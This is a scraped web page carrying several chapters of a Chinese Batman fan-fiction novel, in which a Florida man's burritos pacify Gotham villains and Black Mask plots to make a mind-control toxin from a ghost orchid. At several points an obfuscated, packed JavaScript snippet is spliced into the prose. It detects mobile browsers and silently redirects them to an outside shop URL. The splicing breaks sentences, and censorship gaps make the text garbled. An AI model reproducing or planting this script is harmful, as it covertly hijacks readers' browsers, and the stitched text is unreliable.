d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“成分检测正常。脑电波分析显示,吃了之后攻击性下降,愉悦感上升。但原因……不知道。” 迪克靠在椅背上。 “所以,我们有一个从佛罗里达来的男人,穿着花裤衩,带着鳄鱼和火烈鸟,用卷饼让□□放下枪,让企鹅人和黑面具抢着拉拢他,现在红头罩也成了他的朋友。” 他顿了顿,笑了。 “这剧情,我编都编不出来。” 达米安盯着屏幕上的达斯汀。 “他不是故意的。”他说,“他真的就是……觉得饿了就该吃。” 布鲁斯终于开口。 “这就是问题所在。” 四个人看向他。 布鲁斯走到屏幕前,看着那张笑得毫无防备的脸。 “他不是在算计,不是在布局,不是在利用任何人。他只是……做自己。” 达米安接话。 “但因为他做自己,所有人都被他影响了。” 布鲁斯点头。 “企鹅人想利用他,黑面具想控制他。” 迪克笑得更开心了。 “那咱们呢?咱们想干什么?” 布鲁斯沉默了一秒。 “观察。”他说,“继续观察。” 众人都散了。 只留布鲁斯盯着屏幕,不久,他才轻轻说了一句: “这个人,到底是福是祸?” ---东区公寓--- 小饼干爬回浴缸里,开始打呼噜。 火烈鸟飞回窗台上,开始整理羽毛。 达斯汀躺在床上,盯着天花板。 “今天认识了好多新朋友。”他对着天花板说,“那个戴黑面具的,有点凶,但没打我。那个红头盔的,又来了,还夸卷饼好吃。” 达斯汀想了想,从腰包里又掏出一个卷饼——腰包里永远有,也不知道为什么。 他咬了一口。 “明天再去溜达。” 12. 鬼兰 1 达斯汀决定去植物园。 因为他已经把东区逛地差不多了,也打卡过企鹅人的冰山餐厅,下一个应该去见识见识毒藤女的植物园了。 据说罗宾逊公园那边有个植物园,里面种满了各种稀奇古怪的植物,比哥谭其他地方加起来都绿。而且毒藤女的头发是绿的,会跟植物说话。 达斯汀看到电脑上论坛的消息,眼睛亮了。 “会跟植物说话,那我要去看看。” 小饼干趴在他脚边,打了个嗝。 火烈鸟站在他肩上,叫了一声,翻译过来大概是“又来了”。 植物园在哥谭北区,和东区完全是两个世界。 毒藤女的植物园隐藏在罗宾逊公园深处,被一圈茂密的藤蔓和荆棘围住,普通人根本找不到入口。 达斯汀能找到,纯粹是因为迷路了。 他带着小饼干和火烈鸟在公园里转了三圈,最后钻进一片灌木丛,再钻出来的时候,眼前豁然开朗——一片绿意盎然的花园,各种奇花异草争奇斗艳,空气里飘着淡淡的香气。 “哇。”达斯汀张大嘴,“这么多花。” 小饼干嗅了嗅,打了个喷嚏。 火烈鸟从肩上飞下来,落在一棵低矮的树上,开始啄果子。 达斯汀沿着小路走,一路走一路看,有的花他认识,有的不认识,但都挺好看。 走到一片温室前,他停下来。 玻璃后面是一片热带植物区,里面雾气缭绕,隐约能看到巨大的叶片和垂下来的藤蔓。 “这比我家后院还大。”他推门进去。 温室里又湿又热,像蒸笼。达斯汀抹了抹汗,从腰包里掏出一个卷饼,边吃边走。 走了一会儿,他突然停下来。 前面有个女人。 她背对着他,站在一丛兰花前面,穿着一身绿色的衣服,头发是红色的,很长,垂到腰际。她伸手轻轻碰了碰一朵花,那朵花居然微微颤动,像是在回应。 达斯汀看呆了,不是因为她漂亮——虽然确实挺漂亮——而是因为那朵花,好像真的在和她说话。 他走过去,站在她旁边。 “你好。” 女人转过身。 她的眼睛是绿色的,像植物园里最深的叶子。她看着达斯汀,目光从他脸上移到花裤衩上,又从花裤衩移回脸上,没有惊讶,没有嫌弃,只有淡淡的打量。 “你不是哥谭人。”她的声音很轻,像风吹过叶片。 达斯汀点头。 “我叫达斯汀,佛罗里达来的。” 女人沉默了一秒。 “佛罗里达。”她重复了一遍,“那里有全美最大的湿地保护区。” 达斯汀眼睛亮了。 “你去过?” “没有。”女人转回身,继续看着那丛兰花,“但我知道那里的植物比哥谭的多。” 达斯汀凑过去,也看着那丛兰花。 “它们在说什么?” 女人的动作顿了一下。 她转过头,盯着他。 “你说什么?” 达斯汀指着兰花。 “你刚才在和它们说话吧?它们说什么?” 女人沉默了三秒。 “你听得到?” 达斯汀摇头。 “听不到,但我想听。”他咬了一口卷饼,嚼着嚼着,突然想到什么,“你说,如果我想听,能不能听到?” 女人看着他,眼神里第一次有了兴趣。 “你想听植物的语言?” 达斯汀点头。 “它们天天站在这儿,肯定有很多话想说。”他又咬了一口卷饼,“我听不到,但可以试试。” 女人盯着他手里的卷饼。 “你那个……是什么?” “卷饼。”达斯汀从腰包里又掏出一个,递给她,“吃吗?刚做的。” 女人低头看着那个热腾腾的卷饼。 迟疑片刻,便伸手接过。 咬了一口,嚼着。 她的表情变了,不是因为好吃——虽然确实好吃——而是因为……她好像听到了什么。 远处,那丛兰花的声音变得更清晰了。 不是幻觉,是真的在“说话”。 她低头看着手里的卷饼,又看着达斯汀。 “你这是什么?” 达斯汀已经蹲下去,对着一朵小花说话了。 “你好,你叫什么?” 小花当然没回答。 达斯汀也不气馁,又咬了一口卷饼,继续问。 “你渴不渴?要浇水吗?” 还是没回答。 达斯汀想了想,从腰包里掏出一瓶水——也不知道什么时候装的——往小花根部倒了一点。 然后他愣住了。 他好像……听到了什么? 很轻,很细,像风吹过头发的声音。 “谢……谢……” 达斯汀眨眨眼。 “你说话了?” 小花当然没再回答。 但达斯汀已经跳起来了。 “它说话了!它说谢谢!” 毒藤女站在原地,看着他。 她的眼神从疑惑变成了震惊,又从震惊变成了……狂热。 “你……真的听到了?” 达斯汀点头。 “它说谢谢,因为我刚才给它浇了水。” 毒藤女走到他面前,盯着他的眼睛。 “你再吃一口那个卷饼。” 达斯汀又咬了一口。 然后他转头看向旁边的一棵小树。 “……晒……好晒……” 达斯汀抬头看看温室顶上的玻璃,又看看那棵树。 “它说晒。”他对毒藤女说,“它嫌太阳大。” 毒藤女的嘴角抽了抽,然后自己又咬了一口卷饼。 然后她听到了整个温室的声音,那些花,那些草,那些藤蔓,都在“说话”。有的在争阳光,有的在抱怨水太少,有的在悄悄聊着隔壁新来的那株食人花。 毒藤女闭上眼睛,深吸一口气。 她活了这么多年,和植物沟通是她与生俱来的能力。但从来没有一次,听得这么清楚,这么……真实。 她睁开眼,看着达斯汀。 “你的卷饼,能放大我和植物的联系。” 达斯汀眨眨眼。 “是吗?我以为只是能听到。” 毒藤女沉默了一秒。 然后她笑了——不是冷笑,不是嘲讽,是真正的、发自内心的笑。 “你是个有趣的人。”她说,“我叫帕米拉。帕米拉·艾斯利。” 达斯汀伸出手。 “达斯汀,刚才说了。” 毒藤女握了握他的手,目光落在他腰间的包上。 “那个腰包,是你的?” 达斯汀点头。 “朋友送的。” 毒藤女没有再问。 她转身走向温室深处,示意他跟上来。 “你知道鬼兰吗?” ---冰山餐厅--- 企鹅人坐在办公桌后面,面前摆着一堆东西——卷饼。 十几个卷饼,整整齐齐码在托盘里,有的已经凉了,有的还是热的。它们被装在密封袋里,袋子上贴着标签: “东区巷口,上午九点” “犯罪巷,下午两点” “达斯汀公寓楼下,傍晚六点” 光头站在他面前,表情复杂。 “老板,这些是这两天收集到的。他的人走到哪发到哪,我们派人跟着捡。” 企鹅人拿起一个卷饼,翻来覆去地看。 “检测过了吗?” “检测过了,就是普通卷饼。”光头顿了顿,“但效果……您知道的。” 企鹅人点点头。 他把卷饼放下,眯起眼睛。 “红头罩那个疯子,一直在跟我作对。”他说,“如果能用这些卷饼让他消停……” 光头眼睛一亮。 “老板的意思是,给他送卷饼?” 企鹅人摇头。 “不是送,是让他吃。” 他站起来,走到窗前。 “找几个人,假扮成达斯汀,去红头罩常出没的地方发卷饼。等他吃了,我们再动手。” 光头愣了愣。 “可是……达斯汀的卷饼,能让吃了的人不想打架。那我们动手的时候,红头罩岂不是更不想打?” 企鹅人转过身,笑了。 “那正好。他不打,我们打。直接端了他的老巢。” 光头恍然大悟。 “老板高明!” 此时,红头罩正蹲在一堆货箱后面,盯着对面那栋楼。那是企鹅人在东区的最后一个据点,今晚他就要端了它。 通讯器里传来手下的声音。 “老大,企鹅人那边有动静。他们的人好像在到处发卷饼,说是那个花裤衩送的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376640|200099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 杰森的动作顿了一下。 “什么?” “就是那个花裤衩的卷饼。他们的人拿着,到处发,说是要‘让东区的人都尝尝’。” 杰森的眉头皱起来。 不对。 那家伙发卷饼,从来都是自己亲手发,不会让别人代劳。 企鹅人在搞鬼。 “不管他们。按原计划行动。” 半小时后,杰森带着人冲进了企鹅人的据点。 企鹅人的人措手不及,想反抗,但杰森的人像疯了一样往前冲。 混乱中,杰森撞上一个拿着卷饼的小喽啰。 那人手里举着一个卷饼,冲他喊:“别打!我有卷饼!吃了就不打了!” 杰森愣了愣,然后笑了。 他从兜里掏出达斯汀给的卷饼,举到对方面前。 “我也有。你要吃吗?” 小喽啰低头一看,两个卷饼一模一样。 他愣住了。 杰森一棍把他敲晕。 “你这卷饼没用。” 经过激烈的火拼之后,杰森站在冰山餐厅的大门口。 身后跟着x个人,都是他这段时间攒下来的。 餐厅的保安想拦,被几下放倒。 他推开门,走进去。 企鹅人从楼上下来,脸色铁青。 “红头罩!你他妈想干什么?” 杰森笑了。 “你这餐厅,今晚归我了。” 企鹅人想掏枪,但手刚摸到腰后,一个手下跑过来,气喘吁吁。 “老板,不好了!黑面具的人在外面,好像也想趁火打劫!” 企鹅人愣住了。 杰森笑得更开心了。 “看来今晚很热闹啊。你那些卷饼,没用。卷饼,只有一个人有用。” 企鹅人的脸色黑了,他的手握紧拐杖。 他想下去打,但脑子里突然闪过一个念头——那个卷饼,只有在那个花裤衩手里才有用。 而那个花裤衩,今天不在。 他看着楼下那个红色的身影,又看着那堆没用的卷饼,第一次觉得…… 自己可能算错了。 ---蝙蝠洞--- 监控画面上,冰山餐厅门口乱成一团。红头罩的人进进出出,黑面具的人在外面虎视眈眈,企鹅人被困在里面。 提姆看得津津有味。 “红头罩抢了冰山餐厅。”他说,“企鹅人这次栽大了。” 达米安站在旁边,手里拿着杯热可可。 “他那些假卷饼,为什么没用?” 提姆调出分析图。 “我们检测了企鹅人收集的那些卷饼,成分和达斯汀的一模一样。”他顿了顿,“但效果……没有。” 达米安皱眉。 “为什么?” 提姆摇头。 “不知道,可能是……做的人不一样?” 布鲁斯的声音从耳麦传来。 “不是成分,是他的心意。” 达米安愣了愣。 “心意?” “达斯汀发卷饼的时候,没有任何目的。他只是想让对方吃饱。但企鹅人收集这些卷饼,是为了利用它们。目的变了,效果就没了。” 达米安沉默了。 他看着监控里那个空荡荡的巷子——达斯汀平时蹲着喂狗的地方。 “所以他那些卷饼,只有他自己发的才有用?” 布鲁斯点头。 “目前看来是的。” 提姆叹了口气。 “那企鹅人这波,白忙活了。” 达米安的嘴角翘了翘。 “活该。” ---冰山餐厅--- 红头罩站在餐厅门口,看着里面一片狼藉。 他的人正在清理现场,把企鹅人的手下抬出去,把值钱的东西搬走。 他从兜里摸出一个卷饼,是达斯汀昨晚塞给他的那个,咬了一口,味道还是那么好。 他想起了刚才那一仗——企鹅人看着那一堆卷饼,表情像见了鬼。 那些卷饼,应该是他收集的。 但他没用。 为什么? 红头罩又咬了一口卷饼,然后他笑了。 “那家伙的卷饼,只有他亲手给才有用。”他自言自语,“企鹅人,你白忙活了。” 他把最后一口塞进嘴里,走进餐厅。 从现在起,这地方归他了。 13. 鬼兰 2 毒藤女带着达斯汀穿过一片又一片热带植物,最后停在一个小小的玻璃房前。玻璃房被茂密的藤蔓遮住,如果不是毒藤女亲手拨开那些叶子,达斯汀根本看不出这里还有一扇门。 “这是我最珍贵的孩子。”毒藤女的声音很轻,像怕惊扰了什么,“你进去看的时候,动作轻一点。” 达斯汀点点头,跟着她走进去。 玻璃房里只有一株兰花,它长在一棵老树的树干上,根须裸露在空中,像一缕缕灰白色的烟。花瓣是白色的,带一点淡绿,在昏暗的光线里微微发亮,真的像幽灵飘在半空。 达斯汀看呆了。 “这花……好奇怪。” 毒藤女站在他旁边,眼神温柔得像在看自己的孩子。 “鬼兰。世界上最稀有的兰花之一。”她轻声说,“佛罗里达的大沼泽地里还有几株,但哥谭只有这一株。它没有叶子,靠根部的真菌提供养分,一生只开一次花,花期只有几周。” 达斯汀凑近看了看。 “它在说什么?” 毒藤女闭上眼睛,侧耳倾听。过了一会儿,她睁开眼,嘴角带着一丝笑意。 “它在等一只蝴蝶,只有那种蝴蝶能帮它授粉,但它已经很久没见到那只蝴蝶了。” 达斯汀点点头,也盯着那株兰花看。 他咬了一口卷饼m然后他听到了,很轻,很慢,像一个人在自言自语。 “……今天有人来了……两个……一个绿头发……一个花裤子……蝴蝶没来……明天呢……” “它说你们来了两个人。”他对毒藤女说,“还说我穿花裤子。” 毒藤女的嘴角抽了抽,笑了。 “你能听懂就好。” 两人在玻璃房里待了很久,达斯汀给鬼兰讲佛罗里达的沼泽地,讲那里的鳄鱼和火烈鸟,讲他小时候见过的那些兰花。鬼兰当然没有回答,但毒藤女说,它在听。 达斯汀很高兴。 他掏出卷饼,掰了一小块,想放在鬼兰的根旁边。 毒藤女拦住他。 “它不吃这个,它只靠真菌活着。” 达斯汀点点头,把那一小块塞进自己嘴里。 “那我替它吃。” 毒藤女看着他,她活了很多年,见过很多人,但从来没有一个人,像他这样…… 她说不清那是什么。 就在这时,植物不快乐的声音传来。 毒藤女的眼神瞬间变了。 她转过身,绿色的眼睛在昏暗的光线里闪烁着。 “有人。” ---蝙蝠洞--- 提姆正在整理数据,突然耳朵一动。 监听器里传来毒藤女的声音——“有人。” 他立刻调出植物园附近的监控画面。 几个鬼鬼祟祟的人影正从东侧翻进栅栏,背着工具包,手里拿着手电筒。 “B!”提姆打开通讯器,“植物园有情况!几个人潜入,目标可能是毒藤女的温室!” 布鲁斯的声音很快传来:“位置?” “鬼兰温室。毒藤女和达斯汀都在里面。” “他们想偷鬼兰。”布鲁斯说,“毒藤女会杀人。” 达米安的声音插进来:“那个佛罗里达人也在?” “对。” “罗宾,跟我走。” 三个偷花贼摸到玻璃房门口。 领头的那个叫卡尔,是个植物贩子,专门倒卖稀有兰花。他盯着照片上的鬼兰,眼睛发亮。 “就是这株鬼兰,黑市上能卖到五万美金一株。” 旁边的小弟缩了缩脖子。 “老大,这地方是毒藤女的地盘……咱们会不会……” 卡尔瞪了他一眼。 “怕什么?毒藤女又不在。就算在,咱们有三个人,还怕一个女人?” 话音刚落,玻璃房的门打开了。 毒藤女站在门口,绿色的眼睛里没有一丝温度。 “你说怕什么?” 三个人集体愣住了。 卡尔后退一步,手摸向腰后的枪。 “毒藤女……我们只是路过……” 毒藤女笑了。 “路过?带着铲子和手电筒,路过我的鬼兰?” 她抬起手,周围的藤蔓开始蠕动,像无数条绿色的蛇。 卡尔的脸白了。 “跑!” 三个人转身就跑。 但已经晚了。 藤蔓从四面八方涌来,缠住他们的脚踝,把他们拖倒在地。铲子和手电筒掉了一地,三个人尖叫着挣扎,但藤蔓越缠越紧。 毒藤女慢慢走过去,蹲在卡尔面前。 “你知道那株鬼兰,我等了多少年吗?” 卡尔拼命摇头。 “十年。”毒藤女的声音像冰,“它等了十年才开花。你们想把它铲走,拿去卖钱?” 她伸出手,一根藤蔓缠住卡尔的脖子。 “你觉得,我应该怎么处理你们?” 卡尔的眼珠子都快瞪出来了。 “不……不要……” 就在这时,一只手搭在毒藤女的肩上。 “帕米拉。” 毒藤女回头。 达斯汀站在她身后,手里拿着一个卷饼。 “你要吃吗?” 毒藤女愣了愣。 “现在?” 达斯汀点头。 “你看着挺生气的。吃完再处理他们?” 毒藤女盯着他看了三秒。 然后她松开藤蔓,接过卷饼,咬了一口。 嚼着。 那股杀意……好像没那么强了。 她低头看着卷饼,又看着达斯汀。 “你这东西……” 就在这时,一个黑影从天而降。 蝙蝠侠落在地上,披风在身后扬起。 达米安落在他旁边,双手抱在胸前,看着这一幕。 毒藤女的脸色变了。 她站起来,周围的藤蔓再次蠕动。 “蝙蝠侠。” 蝙蝠侠看着她,目光扫过地上那三个正在吃卷饼的偷花贼,又扫过蹲在旁边的达斯汀。 “毒藤女。” 达斯汀看到他们,眼睛亮了。 “老蝙蝠!你也来了?吃卷饼吗?” 他从腰包里掏出一个卷饼,递过去。 蝙蝠侠没接。 达米安也没接。 毒藤女的藤蔓已经举起来了,像无数条长矛,对准了蝙蝠侠。 “你来干什么?” 蝙蝠侠的声音没有起伏。 “阻止你杀人。” 毒藤女笑了。 “他们是偷花贼,该死。” “这是法律来判定的,你不能动手。” 毒藤女笑了。 “我不能?那谁能?你吗?” 她的手一挥,藤蔓再次涌上来,直扑蝙蝠侠。 蝙蝠侠侧身躲过,甩出几个蝙蝠镖,切断了几根藤蔓。但更多的藤蔓从四面八方涌来,像海浪一样压向他。 他掏出□□,击中几根藤蔓,但它们只是抖了抖,继续往前涌。 毒藤女站在藤蔓后面,绿色的眼睛里闪着冷光。 “蝙蝠侠,你每次都来坏我的事。”她说,“你以为你能拦住我?” 蝙蝠侠没说话,只是继续战斗。 但毒藤女的藤蔓太多了,太密了。他打退一波,又来一波,根本停不下来。 蝙蝠侠并不打算用除草剂来对付毒藤女。 就在这时,达斯汀走到毒藤女面前,递给她一个卷饼。 “再吃一个?” 毒藤女低头看着卷饼,她又接了。随之,藤蔓垂下来了一点。 达斯汀又走到蝙蝠侠面前,递给他一个卷饼。 “你也吃一个,别这么紧张。” 蝙蝠侠盯着那个卷饼。 他想起之前的分析——这个人的卷饼,只有亲手给才有用。 他接了,将其收起来。 达斯汀又走到达米安面前,递给他一个。 “小屁孩,你也吃。” 达米安的脸黑了。 “我不小。” 但他还是接了。 毒藤女吃完第二个,看着达斯汀。 “你为什么拦我?” 达斯汀想了想。 “没拦你啊。就 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蝙蝠侠看着这一幕,沉默了很久。 然后他开口。 “毒藤女,我需要你配合调查。” 毒藤女转过头,眼神又冷下来。 “调查什么?” “那些人为什么会来偷鬼兰,这背后可能有团伙。” 毒藤女眯起眼睛。 “你想利用我?” “我想保护这株兰花。”蝙蝠侠的声音很平,“它在这里,迟早还会有人来,你能守多久?” 毒藤女沉默了。 达斯汀站起来,走到他们中间。 “你们在吵什么?” 毒藤女看着他。 “他要我配合调查。” 达斯汀眨眨眼。 “那你配合啊,反正你也在乎这花。” 毒藤女愣了愣。 “你……不觉得他烦?” 达斯汀想了想。 “他话少,不烦。” 毒藤女又看向蝙蝠侠。 蝙蝠侠也看着她。 两人对峙了三秒。 然后毒藤女叹了口气。 “把那三个人抓到就行。其他的,我不管。” 蝙蝠侠点点头。 “成交。” 达斯汀笑了。 “这就对了嘛。和气生花。” 毒藤女的嘴角抽了抽。 达米安在旁边小声嘀咕:“和气生花是什么鬼……” 达斯汀听到了,扭头看他。 “就是大家一起保护花的意思,你多吃点卷饼就懂了。” 达米安翻了个白眼,但他的手不自觉地摸了摸口袋里的卷饼。 ---蝙蝠洞--- 提姆看着监控画面,摇了摇头。 “所以,毒藤女因为吃了卷饼,放了那三个偷花贼?还同意配合调查?” 布鲁斯声音从耳麦中传来。 “嗯。” 提姆沉默了三秒。 “这剧情,我编都编不出来。” 达米安回答道。 “他还说和气生花。” 迪克从通讯器里传来笑声。 “和气生花?这词够绝。” 杰森的声音也插进来,带着一丝嘲讽。 “你们羡慕了?” 达米安哼了一声。 “羡慕什么?” 杰森笑了。 “羡慕他有卷饼啊。” 达米安想起达斯汀递给他的那个卷饼,味道确实好。而且吃完之后,心情确实变好了,感觉很舒服。 布鲁斯的声音打断了他们的思绪。 “明天继续监控。那三个偷花贼背后,可能还有人。” 提姆点头。 此时的屏幕上,达斯汀正蹲在巷子里,给一条三条腿的狗喂卷饼。 “傻子。” 14. 鬼兰3 三个偷花贼跑出植物园的时候,腿都是软的。 卡尔跑在最前面,一边跑一边回头看,生怕那些藤蔓追上来。他的两个小弟跟在后面,气喘吁吁,脸色惨白。 他们一口气跑出三条街,最后躲进一条废弃的巷子里,瘫在墙上大口喘气。 “老、老大……”那个年轻的小弟哆嗦着问,“咱们……咱们现在怎么办?” 卡尔靠着墙,脑子里一片空白。 任务失败了。毒藤女没杀他们,但那个人——那个穿黑衣服的——肯定会找他们问话。 更重要的是,雇佣他们的人…… 卡尔想起那个匿名电话,那个低沉的声音,还有打到账户里的那笔定金。 “事成之后,还有五万。但要是泄露了我的身份……”那个声音没说完,但意思很明显。 卡尔的脊背发凉。 “不能回去。”他咬牙说,“谁都不能回去。” 两个小弟看着他。 “那咱们去哪?” 卡尔想了想,站起来。 “先找个地方躲起来,等风头过了再说。” 三个人互相搀扶着,消失在巷子深处。 他们不知道的是,一个小小的身影正蹲在楼顶,盯着他们的一举一动。 等卡尔再次醒过来的时候,发现自己被绑在一根水泥柱上。 头很疼,脖子更疼——毒藤女的藤蔓差点勒死他。他费力地睁开眼,看到另外两个同伙也被绑在旁边,一个还在昏迷,一个在哼哼。 这是什么地方? 仓库,昏暗的灯光,到处都是蝙蝠标志的投影。 蝙蝠侠。 卡尔的心凉了半截。 脚步声传来,一个高大的黑影从阴影里走出来,披风在身后微微扬起。 “醒了。”蝙蝠侠的声音没有起伏。 卡尔咽了口唾沫。 “我……我什么都不知道……” “谁雇佣你们的?” 卡尔拼命摇头。 “不、不知道……真不知道……是网上联系的……给钱……匿名……” 蝙蝠侠盯着他的眼睛。 “怎么联系的?” “暗、暗网……一个论坛……发了个帖子……有人回复……给地址……钱打进账户……事成之后再给另一半……” 蝙蝠侠的手里多了一个小装置,对着卡尔扫描。 “账户信息?” “不、不知道……都是自动的……我根本没见过那个人……” 蝙蝠侠沉默了一秒。 他转身走出去,留下卡尔在原地发抖。 达米安跟出来。 “他不说?” “他说的是真的。”蝙蝠侠打开通讯器, “红罗宾,对方的IP呢?” “查过了。用了三层代理,最后指向一个国外的服务器,追不下去了。”提姆顿了顿,“对方很专业。” “内容呢?” “很简单,只有任务目标、地点、报酬,没有任何多余的废话。”提姆调出其中一封,“你看这措辞,标准的雇佣兵风格,不留任何把柄。” 达米安从旁边走过来。 “所以线索断了?” 布鲁斯没有回答,脑子里飞速运转。 十万美金。 鬼兰。 暗网。 比特币。 雇佣兵风格。 这些关键词在他脑子里转了一圈,最后落在一个问题上—— 谁会对鬼兰感兴趣? 哥谭对植物感兴趣的人不多。毒藤女算一个,但她不可能雇人偷自己的花。植物园的几个研究员,没有这个财力。那些富豪收藏家,倒是可能,但他们一般通过正规渠道购买。 鬼兰是保护植物,正规渠道买不到。 所以只能偷。 谁愿意花十万美金去偷一株兰花? 布鲁斯闭上眼睛,把自己代入那个雇主的角色。 他想要鬼兰。为什么? 为了收藏?为了转卖?还是为了别的什么? 他突然睁开眼。 “红罗宾,调出黑面具最近的资金流动。” 提姆愣了愣。 “黑面具?你觉得是他?” “查。” 五分钟后,提姆的声音响起来。 “黑面具最近有三笔大额支出,都是用比特币支付的。时间点和雇佣卡尔的时间对得上。” 布鲁斯眯起眼睛。 “能查到收款方吗?” “查不到,比特币账户是匿名的。”提姆顿了顿,“但金额对得上,五万美金,正好是卡尔收到的数目。” 达米安的眉头皱起来。 “黑面具要鬼兰干什么?他又不种花。” 布鲁斯没有回答。 他想起达斯汀。 想起黑面具之前的行动——绑架达斯汀,派人抢卷饼,想研究卷饼的原理。 现在又想偷鬼兰。 鬼兰是世界上最稀有的兰花之一,据说有药用价值。在一些古老的传说里,它被用来制作□□、控制人心的毒药。 控制人心的毒药。 布鲁斯的眼神一凛。 “红罗宾,查一下黑面具最近有没有接触过化学专家,或者制药公司的人。” 提姆飞快地敲着键盘。 “有。”他的声音有点紧,“黑面具的人接触过一个从阿卡姆放出来的化学家,叫……杰里米·克拉克。这人专攻神经毒素,当年就是因为研制违禁药物被抓的。” 布鲁斯的手指握紧。 “克拉克现在在哪?” “不知道。出狱后就消失了。”提姆调出他的档案,“但他的研究方向里,有一条——植物神经毒素。他研究过从稀有兰花中提取致幻成分。” 达米安听懂了。 “所以黑面具想用鬼兰做药?控制人?” 布鲁斯没有回答。 但他心里已经有了答案。 黑面具的目标从来不是鬼兰。 是达斯汀。 他想控制那个能让□□放下枪的人。 ---黑面具的据点--- 黑面具站在实验室里,面前是一个穿着白大褂的男人。 杰里米·克拉克,五十多岁,头发稀疏,眼睛却亮得吓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376642|200099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。他手里拿着一份报告,正在仔细研究。 “鬼兰提取物,浓度够了。”他的声音带着一丝狂热,“如果能拿到活体植株,我能做出真正的神经毒素。吃了之后,人就会听你的话。” 黑面具眯起眼睛。 “要多久?” “一周。”克拉克抬起头,“但前提是,你得把鬼兰给我弄来。” 黑面具点点头。 “已经派人去了。” 话音刚落,通讯器响了。 他接起来,听了几秒,脸色慢慢变了。 “失败了?” 通讯器那边传来怯怯的声音。 “毒藤女……还有蝙蝠侠……还有那个花裤衩……他们都在……” 黑面具一把捏碎通讯器。 克拉克看着他。 “怎么了?” 黑面具没有回答。 他转过身,走到窗前,盯着外面漆黑的夜色。 鬼兰没拿到,但没关系。他还有别的办法,那个花裤衩,他一定要拿到手。 ---植物园--- 达斯汀又来了植物园。 他昨天晚上睡得很好,一觉醒来想起那株鬼兰,决定再来看看。 火烈鸟这次没跟来——它嫌路远。小饼干被他抱着,一路打瞌睡。 毒藤女正在给一株食人花浇水,看到他,嘴角微微翘起。 “又来了?” 达斯汀点头,从腰包里掏出一个卷饼递给她。 “早饭吃了吗?” 毒藤女看着卷饼,顿了顿,伸手接过。她咬了一口,嚼着。 “你每天来找我,就是为了送卷饼?” 达斯汀想了想。 “也不是,就是想看看那些花。”他指了指温室深处,“鬼兰今天怎么样?” 毒藤女带他走进去。 鬼兰还是那副样子,白色的花瓣在光线里微微发亮。 达斯汀蹲下来,咬了一口卷饼,侧耳倾听。 “……又来了……那个花裤子……今天太阳好……蝴蝶没来……” 达斯汀笑了。 “它说今天太阳好。” 毒藤女看着他,眼神柔和。 “你知道吗,你是我见过的第一个……能和它聊天的人。” 达斯汀眨眨眼。 “能听到它说话的人,不多吗?” 毒藤女摇头。 “能听到的,只有我。但你……你通过卷饼能听到,这不一样。” 达斯汀想了想。 “那你多吃点卷饼,是不是也能听得更清楚?” 毒藤女愣了愣。 她低头看着手里的卷饼,又看看达斯汀。 “也许吧。” 两人在温室里待了很久。达斯汀给各种花发卷饼——当然不是真的给它们吃,而是自己吃一口,然后跟它们说话。 那些花当然不会回应,但毒藤女能听到它们对达斯汀的评价。 “这个傻子……又来了……” “他穿的裤子好丑……” “但他给的卷饼真香……” 毒藤女笑得眼睛都弯了。 15. 鬼兰4 黑面具的据点在地下。准确地说,是东区一座废弃工厂的地下室,钢筋水泥的墙壁上爬满了管道,头顶的灯管发出嗡嗡的低鸣。他坐在办公桌后面,手指敲着桌面,面前摆着一份被捏皱的报告。 杰里米·克拉克站在他对面,手里拿着试管,眼神狂热。 “鬼兰的事,失败了。”黑面具的声音很慢,像刀子在石头上磨。 克拉克的动作顿了一下,但很快恢复:“那株鬼兰是唯一的活体样本,如果没有它,我的研究进度会慢很多。” “多久?” “至少半年,而且不能保证效果。”克拉克放下试管,推了推眼镜,“老板,那个花裤衩的卷饼不是普通东西,它不是化学,是概念。我研究过那些吃了卷饼的人,脑电波显示他们的攻击性下降不是因为药物,而是因为……”他顿了顿,像在寻找合适的词,“信念。那家伙让所有人相信,吃了他的东西就不该打架。” 黑面具的手指停下。 “信念?”他冷笑一声,“一个穿花裤衩的傻子,有什么信念?” 克拉克耸耸肩,没敢接话。 就在这时,门被推开,疤脸走进来,表情古怪。“老板,有人找。” “谁?” “企鹅人。” 黑面具的眉头皱起来,那个矮胖子来干什么? 他挥挥手,让克拉克退到后面的房间里去。几秒后,企鹅人拄着拐杖走进来,身后只跟了两个保镖——在东区损失惨重之后,他已经没有多余的人手了。 两人对视。企鹅人的脸上没有笑容,黑面具也没有。 “你来干什么?” 企鹅人走进来,自顾自地坐到对面的椅子上。 “听说你最近也在追那个花裤衩。” 黑面具的眼神一凛。 “你的消息倒是灵通。” 企鹅人笑了,那笑容有点苦涩。“我的人在东区都盯着他,你派人去植物园的事,瞒不住。”他顿了顿,从怀里掏出一个密封袋,里面装着半个卷饼,已经凉了,但形状完好。“这东西,我研究了许久。” 黑面具看了一眼那个卷饼。 “我也研究过,成分正常。” “正常。”企鹅人把密封袋放在桌上,“但吃了的人,就是不想打架。我试过找人模仿,让手下穿着花裤衩去发一模一样的卷饼,没用。我也试过收集他发出去的卷饼,自己用,也没用。”他看着黑面具,“这东西,只有他亲手给才有用。” 黑面具沉默了,他也试过同样的事,结果一样。 